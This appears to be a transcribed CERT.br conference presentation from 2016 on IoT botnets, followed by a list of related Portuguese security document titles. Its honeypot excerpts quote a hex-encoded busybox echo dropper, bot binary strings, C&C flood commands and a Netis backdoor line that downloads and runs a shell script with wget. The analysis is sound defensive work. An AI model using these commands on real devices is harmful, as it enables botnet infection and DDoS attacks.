5º Fórum Brasileiro de CSIRTs 23 de setembro de 2016 São Paulo, SP
|
|
|
- Octavio Teixeira Farinha
- 6 Há anos
- Visualizações:
Transcrição
1 5º Fórum Brasileiro de CSIRTs 23 de setembro de 2016 São Paulo, SP
2 Para onde vão as "coisas"? Uma reflexão sobre o impacto da IoT no tratamento de incidentes de segurança Cristine Hoepers cristine@cert.br Klaus Steding-Jessen jessen@cert.br
3 Botnets de Dispositivos IoT CPEs, DVRs, CCTVs, NAS, roteadores domésticos, etc Malware se propaga geralmente via Telnet Explora Senhas Fracas ou Padrão - muitas vezes são backdoors dos fabricantes Foco em dispositivos com versões enxutas de Linux - para sistemas embarcados - arquiteturas ARM, MIPS, PowerPC, etc
4 Notificações ao CERT.br: Scans por porta em 2015
5 Notificações ao CERT.br: Scans por 23/TCP 2013 a jun/ Porcentagem das Notificações de Scan Varreduras por 23/TCP 60 Porcentagem das notificações de scan por mês / / / / /2016 Período: 01/2013 a 06/2016
6 DIAMOND MODEL OF DDOS (IOT) BRAZIL 2015 ARBOR CONFIDENTIAL & PROPRIETARY
7 Detalhes do que Estamos vendo nos Honeypots Distribuídos
8 Exemplo de Propagação via echo :57:42 IP: xx.xxx.xxx.167, cmd: "busybox echo ne"\x7f\x45\x4c \x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\ x00\x00\xb0\x81\x00\x00\x34\x00\x00\x00\x30\xed \x00\x00\x02\x00\x00\x04\x34\x00\x20\x00\x04\x00\x28\x00\x11\x00\x10\x00\x01\ x00\x00\x70\x18\xdb\x00\x00\x18\x5b\x01\x00\x18\x5b \x01\x00\x10\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\ x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x28\xdb \x00\x00\x28\xdb \x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x00\xe0\x00\x00\x00\ xe0\x01\x00\x00\xe0\x01\x00\xec \x02\x00\x00\x08\x67\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x51\xe5\x74\x64\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x07\x00\x00\x00\x04\x00\x00\x00\x0d\xc0\xa0\xe1\xf0\xdf\x2d \xe9\x04\xb0\x4c\xe2\xf0\xaf\x1b \xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x47\xc0\x46\x08\x47\ xc0\x46\x10\x47\xc0\x46\x18\x47\xc0\x46\x20 >> /dev/dvrshelper" :57:44 IP: xx.xxx.xxx.167, cmd: "busybox echo -ne"\x47\xc0\x46 \x28\x47\xc0\x46\x30\x47\xc0\x46\x38\x47\xc0\x46\x40\x47\xc0\x46\x48\x47\xc0\ x46\x50\x47\xc0\x46\x58\x47\xc0\x46\x60\x47\xc0\x46\x68\x47\xc0\x46\x70\x47\x c0\x46\x10\x40\x2d\xe9\x2c\x40\x9f \xe5\x00\x30\xd4\xe5\x00\x00\x53\xe3\x06\x00\x00\x1a\x20\x30\x9f \xe5\x00\x00\x53\xe3\x1c\x00\x9f\x15\x0f\xe0\xa0\x11\x13\xff\x2f \x11\x01\x30\xa0\xe3\x00\x30\xc4\xe5\x10\x40\xbd\xe8\x1e\xff\x2f \xe1\xf0\xe2\x01\x00\x00\x00\x00\x00\x00\xe0\x01\x00\x04\xe0\x2d \xe5\x40\x30\x9f\xe5\x00\x00\x53\xe3\x04\xd0\x4d\xe2\x38\x00\x9f \x15\x38\x10\x9f\x15\x0f\xe0\xa0\x11\x13\xff\x2f\x11\x30\x00\x9f \xe5\x00\x30\x90\xe5\x00\x00\x53\xe3\x03\x00\x00\x0a\x24\x30\x9f \xe5\x00\x00\x53\xe3\x0f\xe0\xa0\x11\x13\xff\x2f\x11\x04\xd0\x8d \xe2\x04\xe0\x9d\xe4\x1e\xff\x2f \xe1\x00\x00\x00\x00\x00\xe0\x01\x00\xf4\xe2\x01\x00\x0c \xe0\x01\x00\x00\x00\x00\x00\x00\xb0\xa0\xe3\x00\xe0\xa0\xe3\x04\x10\x9d \xe4\x0d\x20\xa0\xe1\x04\x20 >> /dev/dvrshelper" [... continua...]
9 Primeiro Binário Construído # file e01b9d2c02293fda11946cd5bd322406b fcc6731e4b77ee3252 e01b9d2c02293fda11946cd5bd322406b fcc6731e4b77ee3252 : ELF 32-bit MSB executable, MIPS, MIPS-I version 1 # strings e01b9d2c02293fda11946cd5bd322406b fcc6731e4b77ee3252 (!$ (!$ mips GCC: (GNU) shstrtab.MIPS.abiflags.reginfo.text.rodata.comment.pdr.gnu.attributes.mdebug.abi32
10 Dados Obtidos Após Execução em Sandbox Comunicação do dispositivo com um IP externo passando como parâmetro a arquitetura (via [xxx.xx.x.xx: > xx.xxx.xxx.xxx:23] mips [xx.xxx.xxx.xxx:23 --> xxx.xx.x.xx:58489] ELF... Binário enviado como resposta: # file c8de69e3e17014aa4d2cba82f73d9e63a6ffb19dc04ac2abbb0d1a2a145c3b52 c8de69e3e17014aa4d2cba82f73d9e63a6ffb19dc04ac2abbb0d1a2a145c3b52 : ELF 32-bit MSB executable, MIPS, MIPS-I version 1
11 Binário Final # strings c8de69e3e17014aa4d2cba82f73d9e63a6ffb19dc04ac2abbb0d1a2a145c3b52 [...] PONG! TELNET GETLOCALIP My IP: %s HOLD JUNK KILLATTK Killed %d. None Killed. LOLNOGTFO %swelcome to the botnet %s:%s BUILD: [%s] :)%s [33m GAYFGT v1.0 PONG %s 2>&1 xx.xxx.xx.164:23 [...]
12 Comandos de Ataques DDoS vistos em C&C: Antes do Início dos Jogos (Testes?) :41:59 CC: xx.xxx.xx.xxx:23, cmd: "!* HOLD [vitima1] " :43:22 CC: xx.xxx.xx.xxx:23, cmd: "!* KILLATTK :56:20 CC: xx.xxx.xx.xxx:23, cmd: "!* JUNK [vitima2] 80 60" :00:23 CC: xx.xxx.xx.xxx:23, cmd: "!* JUNK [vitima3] " :01:25 CC: xx.xxx.xx.xxx:23, cmd: "!* KILLATTK" :02:02 CC: xx.xxx.xx.xxx:23, cmd: "!* JUNK [vitima4] " :02:39 CC: xx.xxx.xx.xxx:23, cmd: "!* KILLATTK"
13 Comandos de Ataques DDoS vistos em C&C: Durante os Jogos :37:13 CC: xxx.xxx.x.xxx:23, cmd: ". GETFLOOD [vitima1*] 80 / 60" :39:21 CC: xxx.xxx.x.xxx:23, cmd: ". POSTFLOOD [vitima1*] 80 /?login.php&username=owned 120" :18:58 CC: xxx.xxx.x.xxx:23, cmd: "!* JUNK [vitima3] " :26:00 CC: xxx.xxx.x.xxx:23, cmd: "!* UDP [vitima3] " :27:24 CC: xxx.xxx.x.xxx:23, cmd: "!* JUNK [vitima3] " :30:10 CC: xxx.xxx.x.xxx:23, cmd: "!* HOLD [vitima2] " :31:11 CC: xxx.xxx.x.xxx:23, cmd: "!* TCP [vitima2] syn 0 10" :35:31 CC: xxx.xxx.x.xxx:23, cmd: "!* JUNK [vitima2] " :36:51 CC: xx.xx.xxx.xxx:23, cmd: "! GETFLOOD [vitima1*] / 80 30"
14 Outro tipo de backdoor do fabricante: Comandos não autenticados via 53413/UDP Propagação: U 2016/09/22 00:52: xx.xx.xx.168: > xxx.xx.xx.73:53413 AA..AAAA cd /tmp; rm -rf Bots.sh; wget -q sh Bots.sh; rm -rf * &.. Mais em: Surge in Exploit Attempts for Netis Router Backdoor (UDP/53413) +Backdoor+UDP53413/21337/
15 Ontem: 620Gbps contra o Blog do Brian Krebs
16 O que mais nos aguarda?
17
18
19
20
21
22 Recomendações
23 Como lidar com IoT: Se você for usuário Assumir que os dispositivos virão com sérios problemas necessário fazer hardening testar em ambiente controlado assumir que terá um backdoor do fabricante Considerar uma rede de gerência isolar os dispositivos completamente Antes de comprar verificar se o fabricante possui política de atualização de firmware Ao fazer a implantação, planejar se haverá algum esquema de gerência remota como atualizar remotamente Ser criterioso ao escolher o fornecedor fazer testes, identificar qual o chipset, verificar histórico de tratamento de vulnerabilidades do fabricante do chipset, etc Dificuldades de fazer análise / perícia
24 Como lidar com IoT: Se você for desenvolvedor Não usar protocolos obsoletos Usar criptografia e autenticação forte Não ter senha do dia, senha padrão não documentada, reset de configuração via rede, etc Defaults seguros Atualização precisa ser possível necessário prever algum mecanismo de autenticação Usar práticas de desenvolvimento seguro
25 Obrigado @certbr 23 de setembro de 2016
2º Seminário Internacional Brasil 100% Digital Brasília, DF 11 de novembro de 2016
2º Seminário Internacional Brasil 100% Digital Brasília, DF 11 de novembro de 2016 [In]Segurança na Internet das Coisas Cristine Hoepers, D.Sc. cristine@cert.br Vulnerabilidades em IoT http://www.bbc.com/news/technology-36903274
II Encontro Anual da Academia Nacional de Engenharia Rio de Janeiro, RJ 25 de novembro de 2016
II Encontro Anual da Academia Nacional de Engenharia Rio de Janeiro, RJ 25 de novembro de 2016 Segurança na Sociedade Digital: Novos Desafios, Velhos Problemas Cristine Hoepers, D.Sc. cristine@cert.br
20º Fórum de Certificação para Produtos de Telecomunicações 30 de novembro de 2016 Campinas, SP
20º Fórum de Certificação para Produtos de Telecomunicações 30 de novembro de 2016 Campinas, SP Problemas de Segurança e Incidentes com CPEs e Outros Dispositivos Cristine Hoepers cristine@cert.br Incidentes
5º Fórum Brasileiro de CSIRTs 23 de setembro de 2016 São Paulo, SP
5º Fórum Brasileiro de CSIRTs 23 de setembro de 2016 São Paulo, SP Atuação do CERT.br no Tratamento de Incidentes na Rio 2016 Cristine Hoepers cristine@cert.br Cooperação: Rio 2016, CERT.br, CTIR Gov e
SET Expo 2016 São Paulo, SP 01 de setembro de 2016
SET Expo 2016 São Paulo, SP 01 de setembro de 2016 Segurança na Internet Tendências e Desafios Miriam von Zuben miriam@cert.br Cenário atual Estatísticas CERT.br 1999 a 2015 Estatísticas CERT.br 2015 Incidentes
Web br 2016 São Paulo, SP 14 de outubro de 2016
Web br 2016 São Paulo, SP 14 de outubro de 2016 Aplicações Web e ataques DDoS: alvo ou origem? Miriam von Zuben miriam@cert.br Agenda Ataques DDoS Ataques DDoS a servidores e aplicações Web Como melhorar
Segurança e IoT: desafios e expectativas, com base nos incidentes que já estão ocorrendo. Cristine Hoepers, D.Sc. Gerente Geral CERT.br/NIC.
Segurança e IoT: desafios e expectativas, com base nos incidentes que já estão ocorrendo Cristine Hoepers, D.Sc. Gerente Geral CERT.br/NIC.br A Internet das Coisas... is the network of physical objects
Tendências em Atividades Maliciosas na Internet Brasileira
Tendências em Atividades Maliciosas na Internet Brasileira Klaus Steding-Jessen jessen@cert.br Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil Núcleo de Informação e Coordenação
Fundamentos de Segurança da Internet. Cristine Hoepers, D.Sc. Klaus Steding-Jessen, D.Sc. 30/03/2016
Fundamentos de Segurança da Internet Cristine Hoepers, D.Sc. Klaus Steding-Jessen, D.Sc. 30/03/2016 Objetivos Discutir os conceitos técnicos relacionados com segurança, privacidade e resiliência de sistemas
A evolução dos ataques de negação de serviço (DoS). Por: Rildo Antonio de Souza - CAIS/RNP
A evolução dos ataques de negação de serviço (DoS). Por: Rildo Antonio de Souza - CAIS/RNP Rede Nacional de Ensino e Pesquisa (RNP), criada pelo MCTI em 1989, para construir uma infraestrutura de internet
Aspectos de Segurança. Internet das Coisas (IoT)
Aspectos de Segurança Internet das Coisas (IoT) Fevereiro de 2016 Ataques de DDOS Ataques de Negação de Serviço DDoS = Distribuited Denial of Service Anatomia de um Ataque Distribuído de Negação de Serviço
Campus Capivari Análise e Desenvolvimento de Sistemas (ADS) Prof. André Luís Belini /
Campus Capivari Análise e Desenvolvimento de Sistemas (ADS) Prof. André Luís Belini E-mail: prof.andre.luis.belini@gmail.com / andre.belini@ifsp.edu.br MATÉRIA: SEG Aula N : 06 Tema: Ataques de Negação
Levantamento de informação (Fingerprint)
Levantamento de informação (Fingerprint) Continuação... Prof. Pedro Filho Objetivos Mapear hosts ativos na rede Obter versões dos sistemas operacionais Entender aquisição de banners Identificar os serviços
Segurança de Redes de Computadores
Segurança de Redes de Computadores Aula 11 DoS (Denial of Service) DDoS (Distributed Denial of Service) Prática #4 Prof. Ricardo M. Marcacini ricardo.marcacini@ufms.br Curso: Sistemas de Informação 1º
Ferramentas de Pentest
Laboratório de Ataque e Defesa Ferramentas de Pentest ENCOSIS 2015 Introdução Ciclo de vida dos testes de invasão Muitos autores descrevem o ciclo de vida dos testes de invasão em cinco ou mais ciclos.
DoS, DDoS & Botnets. Alunos: Lucas Gomes, Marcos Seefelder, Vinicius Campos Professor: Otto Carlos Muniz Bandeira Duarte
DoS, DDoS & Botnets Alunos: Lucas Gomes, Marcos Seefelder, Vinicius Campos Professor: Otto Carlos Muniz Bandeira Duarte Contextualização Década de 90: primeiros ataques 1996: SYN Flood; Janeiro de 1998:
Segurança na Rede Estácio - II Semana de Informática - Out/05
Segurança na Rede Estácio - II Semana de Informática - Out/05 Fábio Borges - Segurança na Rede p.1/20 Conhecimentos Necessários Rede Segurança na Rede p.2/20 Conhecimentos Necessários Rede Sistemas Segurança
MANUAL DE INSTALAÇÃO E PROGRAMAÇÃO CONVERSOR - IP / USB / SERIAL RV1
MANUAL DE INSTALAÇÃO E PROGRAMAÇÃO CONVERSOR - IP / USB / SERIAL - 317 RV1 SÃO CAETANO DO SUL 06/06/2014 SUMÁRIO DESCRIÇÃO DO PRODUTO... 3 CARACTERÍSTICAS... 3 CONFIGURAÇÃO USB... 4 CONFIGURAÇÃO... 5 PÁGINA
Desafios e Lições Aprendidas no Tratamento de Incidentes em Grandes Eventos
Desafios e Lições Aprendidas no Tratamento de Incidentes em Grandes Eventos Cristine Hoepers, D.Sc. cristine@cert.br! Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil Núcleo
Estratégias para Tratamento e Prevenção de Incidentes de Segurança. Cristine Hoepers, D.Sc. Klaus Steding-Jessen, D.Sc. 01/04/2016
Estratégias para Tratamento e Prevenção de Incidentes de Segurança Cristine Hoepers, D.Sc. Klaus Steding-Jessen, D.Sc. 01/04/2016 Objetivos Discutir como os diversos atores podem atuar de forma cooperativa
Eduardo Barasal Morales Tiago Jun Nakamura Maputo, Moçambique 18/07/17-21/07/17
Eduardo Barasal Morales Tiago Jun Nakamura Maputo, Moçambique 18/07/17-21/07/17 Curso Presencial de IPv6 Serviços Agenda Motivação Serviços Implementações DNS NTP Servidores HTTP Proxies SMB CIFS ( SAMBA
Principais Ameaças na Internet e
Principais Ameaças na Internet e Recomendações para Prevenção Cristine Hoepers Gerente Geral cristine@cert.br Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil Núcleo de Informação
Tratamento de Incidentes de Segurança em Grandes Eventos Cristine Hoepers
Tratamento de Incidentes de Segurança em Grandes Eventos Cristine Hoepers cristine@cert.br Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil Núcleo de Informação e Coordenação
Procedimentos para configuração de WDS With AP
Procedimentos para configuração de WDS With AP No modo WDS with AP, o DWL-2100AP se conecta a várias redes, embora ainda funcionando como um Access Point wireless. WDS (Wireless Distribution System) permite
Crimes pela Internet: Aspectos Técnicos e o Papel dos Grupos de Tratamento de Incidentes Cristine Hoepers
Crimes pela Internet: Aspectos Técnicos e o Papel dos Grupos de Tratamento de Incidentes Cristine Hoepers cristine@cert.br Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil
Gerenciamento de Redes. Protocolo SNMP
Gerenciamento de Redes Protocolo SNMP O Protocolo SNMP O SNMP (Simple Network Management Protocol) foi criado no final dos anos 80 como alternativa ao modelo de gerenciamento OSI (CMIP / CMOT) O nome já
Cisco TrustSec. Software Defined Segmentation Segurança e Mobilidade. Wilson Rogério Lopes GTS 27 05/2016
Cisco TrustSec Software Defined Segmentation Segurança e Mobilidade Wilson Rogério Lopes GTS 27 05/2016 Cisco TrustSec Segregação e controle de acesso, independente de ip e vlan Security Group Policies
RELATÓRIO SOBRE AS TENDÊNCIAS DO ATAQUE DISTRIBUÍDO DE NEGAÇÃO DE SERVIÇO DA VERISIGN 3A EDIÇÃO 3O TRIMESTRE DE 2014
RELATÓRIO SOBRE AS TENDÊNCIAS DO ATAQUE DISTRIBUÍDO DE NEGAÇÃO DE 3A EDIÇÃO 3O TRIMESTRE DE 2014 CONTEÚDO RESUMO EXECUTIVO 3 TENDÊNCIAS E ATAQUE DDoS OBSERVADAS PELA VERISIGN NO T3 DE 2014 4 Mitigações
Capacitação IPv6.br. Serviços em IPv6. Serviços rev
Capacitação IPv6.br Serviços em IPv6 Agenda Motivação Serviços Implementações DNS NTP Servidores HTTP Proxies SMB CIFS ( SAMBA ) Motivação Provedor de Acesso Provedor de Conteúdo 06 de Junho de 2012 Serviços
Rede de sensores distribuídos do CAIS Rildo Souza
Rede de sensores distribuídos do CAIS Rildo Souza 28º GTS Agenda Apresentação O Projeto Principais números Eventos Detectados Encerramento Apresentação Rede Nacional de Ensino e Pesquisa (RNP), criada
Ataques DDoS Panorama, Mitigação e Evolução
Ataques DDoS Panorama, Mitigação e Evolução Wilson Rogério Lopes LACNIC 26 / LACNOG 2016 09/2016 Wilson Rogério Lopes Especialista em arquitetura e segurança de redes, com 12 anos de atuação em grandes
O papel do IT Service Desk como 1ª linha de defesa contra Ciberataques. Cristiano Breder
O papel do IT Service Desk como 1ª linha de defesa contra Ciberataques. Cristiano Breder cbreder@post.com Estágio do mercado Receita do mercado Tamanho do mercado até 2020 Taxa de crescimento anual Concentração
Resposta a Incidentes no Brasil: Situação Atual e o Papel do NBSO
Resposta a Incidentes no Brasil: Situação Atual e o Papel do NBSO Cristine Hoepers cristine@nic.br Klaus Steding-Jessen jessen@nic.br NIC BR Security Office NBSO Brazilian Computer Emergency Response Team
Procedimentos para configuração do DWL-2100AP em modo Repeater
Procedimentos para configuração do DWL-2100AP em modo Repeater No modo Repeater o DWL-2100AP vai repetir o sinal do DI-624 pela rede Wireless. Neste manual vamos apresentar a seguinte topologia: A posição
Verificador Slimterm TCP-IP
Verificador Slimterm TCP-IP 1 Acessando a Configuração 1. Ao ligar o equipamento será exibido a tela de inicialização. 2. Indica que não localizou o cabo de rede. 3. Indica que está iniciando o modulo
Uso de Flows no Tratamento de Incidentes da Unicamp
Uso de Flows no Tratamento de Incidentes da Unicamp Daniela Barbetti daniela@unicamp.br GTS-26 11 de dezembro de 2015 São Paulo, SP Agenda: CSIRT Unicamp Rede de dados da Unicamp Uso de flows no tratamento
Um Modelo Alternativo Baseado em Honeynet para Identificação e Classificação de Atacantes. Alexandre Pinaffi Andrucioli
Um Modelo Alternativo Baseado em Honeynet para Identificação e Classificação de Atacantes Alexandre Pinaffi Andrucioli pinaffi@ravel.ufrj.br Motivação Estudar os ataques gerados na Internet Entender os
Aspectos de Segurança na Internet: Evolução e Tendências Atuais
Aspectos de Segurança na Internet: Evolução e Tendências Atuais NIC BR Security Office nbso@nic.br http://www.nic.br/nbso.html Cristine Hoepers cristine@nic.br Klaus Steding-Jessen jessen@nic.br COMDEX
Ataques para obtenção de informações
Ataques para obtenção de informações Técnicas: Dumpster diving ou Trashing Engenharia Social Eavesdropping ou Packet Sniffing Scanning War dialing Firewalking Ataques para obtenção de informações Dumpster
Procedimentos para configuração do DWL-G700AP em modo Repeater
Procedimentos para configuração do DWL-G700AP em modo Repeater No modo * Repeater o DWL-G700AP vai repetir o sinal Wireless do DI-524. * O DWL-G700AP somente apresenta a função Repeater a partir da versão
Checkhosts Monitoramento e Gerência de Sistemas
GTS 02.03 Grupo de Trabalho em Segurança de Redes Checkhosts Monitoramento e Gerência de Sistemas Anderson Alves, Fernando Spencer, Marcelo Portes, Márcio de Albuquerque e Marita Maestrelli ceo@cbpf.br
Procedimentos para configuração em modo WDS with AP
Procedimentos para configuração em modo WDS with AP 1- No modo WDS with AP, o DAP-1353 se conecta a várias redes, embora ainda funcionando como um Access Point wireless. WDS (Wireless Distribution System)
2017 Relatório Anual de Ameaças
2017 Relatório Anual de Ameaças SonicWall GRID Threat Network Os dados para o Relatório Anual de Ameaças SonicWall 2017 foram reunidos através da Global Response Intelligence Defense (GRID) Threat Network
MANUAL DO USUARIO NX WIFI
O NXWiFi é um conversor de Serial e Ethernet para WiFi, com isso eliminando o cabeamento em algumas instalações e deixando alguns equipamentos com mais mobilidade. Manual NXWiFi Existem dois modos de utilização
Procedimentos para configuração em modo WDS with AP
Procedimentos para configuração em modo WDS with AP 1- No modo WDS with AP, o DAP-1353 se conecta a várias redes, embora ainda funcionando como um Access Point wireless. WDS (Wireless Distribution System)
Aspectos de Segurança no IPv6
Aspectos de Segurança no IPv6 Motivação Motivação Inicialmente, o protocolo IP foi criado para interligar redes acadêmicas de pesquisa Não tinha grande, ou nenhuma, preocupação com a segurança dos dados
Protótipo de um software de segurança em redes para monitoração de pacotes em uma conexão TCP/IP
Protótipo de um software de segurança em redes para monitoração de pacotes em uma conexão TCP/IP Acadêmico: Paulo Fernando da Silva Orientador: Sérgio Stringari Roteiro Introdução Fundamentos Segurança
MALWARE. Spyware. Seguem algumas funcionalidades implementadas em spywares, que podem ter relação com o uso legítimo ou malicioso:
MALWARE Spyware É o termo utilizado para se referir a uma grande categoria de software que tem o objetivo de monitorar atividades de um sistema e enviar as informações coletadas para terceiros. Seguem
Gerência de Redes de Computadores Zabbix Instalação. Prof. Alex Furtunato
Gerência de Redes de Computadores Zabbix Instalação Prof. Alex Furtunato alex.furtunato@ifrn.edu.br Introdução Sistema de monitoramento de rede enterprise open source, com solução de monitoramento distribuído
Infra-Estrutura de Redes de Computadores
Infra-Estrutura de Redes de Computadores Atividade realizada: Identificar endereços ethernet das estações de trabalho e servidores. Método de uso: O Nmap ( Network Mapper ) uma ferramenta de código aberto
Gerenciamento e interoperabilidade de redes Prof. João Henrique Kleinschmidt Prática Packet tracer Segurança: Firewall, ACLS e VPN
Gerenciamento e interoperabilidade de redes Prof. João Henrique Kleinschmidt Prática Packet tracer Segurança: Firewall, ACLS e VPN 1 Configuração de firewall em um servidor Configure a rede abaixo e teste
Workshop em Segurança Cibernética e Crime Cibernético para África Lusófona 22 a 24 de Setembro de 2015 Maputo, Moçambique
Workshop em Segurança Cibernética e Crime Cibernético para África Lusófona 22 a 24 de Setembro de 2015 Maputo, Moçambique Conscientização em Segurança na Internet: Experiências do CERT.br Lucimara Desiderá
Segurança de Redes. Funcionamento de um ataque. Varreduras Analisadores de vulnerabilidades. Levantamento de informações.
Segurança de Redes Varreduras Analisadores de vulnerabilidades Prof. Rodrigo Rocha Prof.rodrigorocha@yahoo.com Funcionamento de um ataque Levantamento de informações footprint fingerprint varreduras Explorações
Usando o Nmap. A instalação do Nmap é bem simples. Após obter o código fonte execute os comandos abaixo: tar xjvpf nmap-3.48.tar.bz2 cd nmap-3.
Usando o Nmap Este artigo irá explicar como instalar e utilizar algumas funções do Nmap. Todos os comandos foram testados com a versão 3.48 do Nmap. É bem provável que alguns comandos não funcionem em
Segurança da Informação nas Universidades A Experiência da UFRN
Segurança da Informação nas Universidades A Experiência da UFRN Ricardo Kléber rk@ufrn.br NARIS Núcleo de Atendimento e Resposta a Incidentes de Segurança Superintendência de Informática Universidade Federal
FUNDAMENTOS DE REDES DE COMPUTADORES Unidade 5 Camada de Transporte e Aplicação. Luiz Leão
Unidade 5 Camada de Transporte e Aplicação Luiz Leão luizleao@gmail.com http://www.luizleao.com Conteúdo Programático 5.1 Protocolo UDP 5.2 Protocolo TCP 5.3 Principias Protocolos de Aplicação 5.3.1 SMTP
MANUAL DE INSTALAÇÃO
MANUAL DE INSTALAÇÃO 1 SUMÁRIO REQUISITOS MÍNIMOS... 3 INSTALAÇÃO A PARTIR DO ARQUIVO RPM...4 Download do Arquivo...4 Instalação pela linha de comando...4 Regras de Firewall...4 Acessando o Monsta...5
BT Assure DDoS Mitigation
Serviços on-premise e em nuvem O que é DDoS? Os ataques DDoS (Distributed Denial of Service) são ataques cibernéticos bastante comuns que têm o propósito de sobrecarregar um dispositivo ou aplicação com
Gerenciamento de Redes: Protocolo SNMP
Gerenciamento de Redes: Protocolo SNMP Protocolo SNMP (do inglês Simple Network Management Protocol Protocolo Simples de Gerência de Rede) é um protocolo usado para gerenciar redes TCP/IP complexas. Com
Nível de segurança de uma VPN
VPN Virtual Private Network (VPN) é uma conexão segura baseada em criptografia O objetivo é transportar informação sensível através de uma rede insegura (Internet) VPNs combinam tecnologias de criptografia,
Rio Info 2016 Rio de Janeiro, RJ 04 de julho de 2016
Rio Info 2016 Rio de Janeiro, RJ 04 de julho de 2016 Mitigando os Riscos de Segurança em Aplicações Web Miriam von Zuben miriam@cert.br Tratamento de Incidentes Articulação Apoio à recuperação Estatísticas
Aula 2 Malwares. Prof. Mayk Choji. Técnicas de Segurança em Redes. UniSALESIANO Araçatuba
Aula 2 Malwares Técnicas de Segurança em Redes Prof. Mayk Choji UniSALESIANO Araçatuba 15 de agosto de 2016 Sumário 1. Introdução 2. Vírus 3. Worm 4. Keylogger/Screenlogger 5. Spyware 6. Backdoor 7. Trojan
II ENSL. Backdoors em Sistemas GNU/Linux: Conhecendo Para Se Proteger.
II ENSL II Encontro Nordestino de Software Livre Backdoors em Sistemas GNU/Linux: Conhecendo Para Se Proteger. Jansen Sena Aracaju, SE Setembro, 2007 Sobre o palestrante Formação Mestrado pelo IC na Unicamp/SP
Indústria de Cartões de Pagamento (PCI) Padrão de segurança de dados
Indústria de Cartões de Pagame (PCI) Padrão de segurança de dados Resumo de alterações da Versão 3.1 para a 3.2 do PCI DSS Abril de 2016 Introdução Este docume fornece um resumo de alterações da versão
Acesso Re sso R moto
Acesso Remoto Introdução Em um ambiente de rede, é sempre importante salientar o uso de ferramentas que possam facilitar procedimentos de manutenção, gerenciamento e execução de procedimentos em uma determinada
4º Fórum Brasileiro de CSIRTs São Paulo, SP 18 de setembro de 2015
4º Fórum Brasileiro de CSIRTs São Paulo, SP 18 de setembro de 2015 Perspectivas e Desafios para 2016 Cristine Hoepers cristine@cert.br Klaus Steding-Jessen jessen@cert.br O que mudou em 2015? Como isso
Metasploit Hands On. Rafael Soares Ferreira Clavis Segurança da Informação
Metasploit Hands On Rafael Soares Ferreira Clavis Segurança da Informação rafael@clavis.com.br $ whoami Grupo Clavis Sócio Diretor Técnico Análise forense computacional Detecção e resposta a incidentes
REDES DE COMPUTADORES
REDES DE COMPUTADORES Prof. Esp. Fabiano Taguchi fabianotaguchi@gmail.com http://fabianotaguchi.wordpress.com SUÍTE TCP 1 Camada de aplicação Protocolo Hypertext Transfer Protocol 2 HTTP Uma página WWW
Workshop Internacional Segurança Cibernética ANEEL, Brasília, DF 20 de outubro de 2016
Workshop Internacional Segurança Cibernética ANEEL, Brasília, DF 20 de outubro de 2016 Segurança, Estabilidade e Resiliência da Internet no Brasil Dra. Cristine Hoepers Gerente Geral cristine@cert.br Comitê
Exemplo de configuração para autenticação em RIPv2
Exemplo de configuração para autenticação em RIPv2 Índice Introdução Pré-requisitos Requisitos Componentes Utilizados Convenções Informações de Apoio Configurar Diagrama de Rede Configurações Configurando
Camada de Aplicação da Arquitetura TCP/IP
Arquitetura de Redes de Computadores e Tecnologia de Implementação de Redes 2016.1 Camada de Aplicação da Arquitetura TCP/IP Curso Técnico Integrado em Informática Turma: INT.INF.3M Arquitetura de Redes
Prof. Samuel Henrique Bucke Brito
- Mobilidade IP em Telefonia Celular www.labcisco.com.br ::: shbbrito@labcisco.com.br Prof. Samuel Henrique Bucke Brito Introdução Quando as idéias acerca da Internet foram concebidas em 1960-70, o objetivo
Tutorial: Criar um servidor SFTP no Windows para acesso remoto
Tutorial: Criar um servidor SFTP no Windows para acesso remoto Date : 4 de Março de 2017 Antes da massificac?a?o de servic?os baseados na "nuvem como o Dropbox, Google Drive, OneDrive, entre outros, o
Roteiro de Práticas de Roteamento IGP usando Quagga
Roteiro de Práticas de Roteamento IGP usando Quagga RIP O objetivo desse roteiro é mostrar como o pacote Quagga pode ser utilizado para construir roteadores com suporte a protocolos de roteamento utilizando
Procedimentos para configuração do DWL-G700AP em modo Access Point
1 Procedimentos para configuração do DWL-G700AP em modo Access Point No modo Access Point o DWL-G700AP se conecta a várias máquinas, sejam elas notebooks ou desktops com adaptador wireless. Nesse Manual
Aula 03 Malware (Parte 01) Visão Geral. Prof. Paulo A. Neukamp
Aula 03 Malware (Parte 01) Visão Geral Prof. Paulo A. Neukamp Mallware (Parte 01) Objetivo: Descrever de maneira introdutória o funcionamento de códigos maliciosos e os seus respectivos impactos. Agenda
Índice. Introdução. As limitações da autenticação remota central UCS incluem:
Índice Introdução Pré-requisitos Requisitos Componentes Utilizados Convenções Informação do recolhimento Detalhes do usuário do ligamento Detalhes baixos DN Detalhes do fornecedor Propriedade do filtro
Segredos do Hacker Ético
Marcos Flávio Araújo Assunção Segredos do Hacker Ético 2 a Edição Visual Books Sumário Prefácio... 21 Introdução... 23 1 Entendendo o Assunto... 25 1.1 Bem-vindo ao Obscuro Mundo da Segurança Digital...25
Ataques e Intrusões. Invasões Trashing e Engenharia Social. Classificação de Hackers
Ataques e Intrusões Professor André Cardia andre@andrecardia.pro.br msn: andre.cardia@gmail.com Ataques e Intrusões O termo genérico para quem realiza um ataque é Hacker. Essa generalização, tem, porém,
Ameaças e Desafios Um Ano Depois
Ameaças e Desafios Um Ano Depois Klaus Steding-Jessen, D.Sc. jessen@cert.br! Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil Núcleo de Informação e Coordenação do Ponto BR
Programação de Periféricos
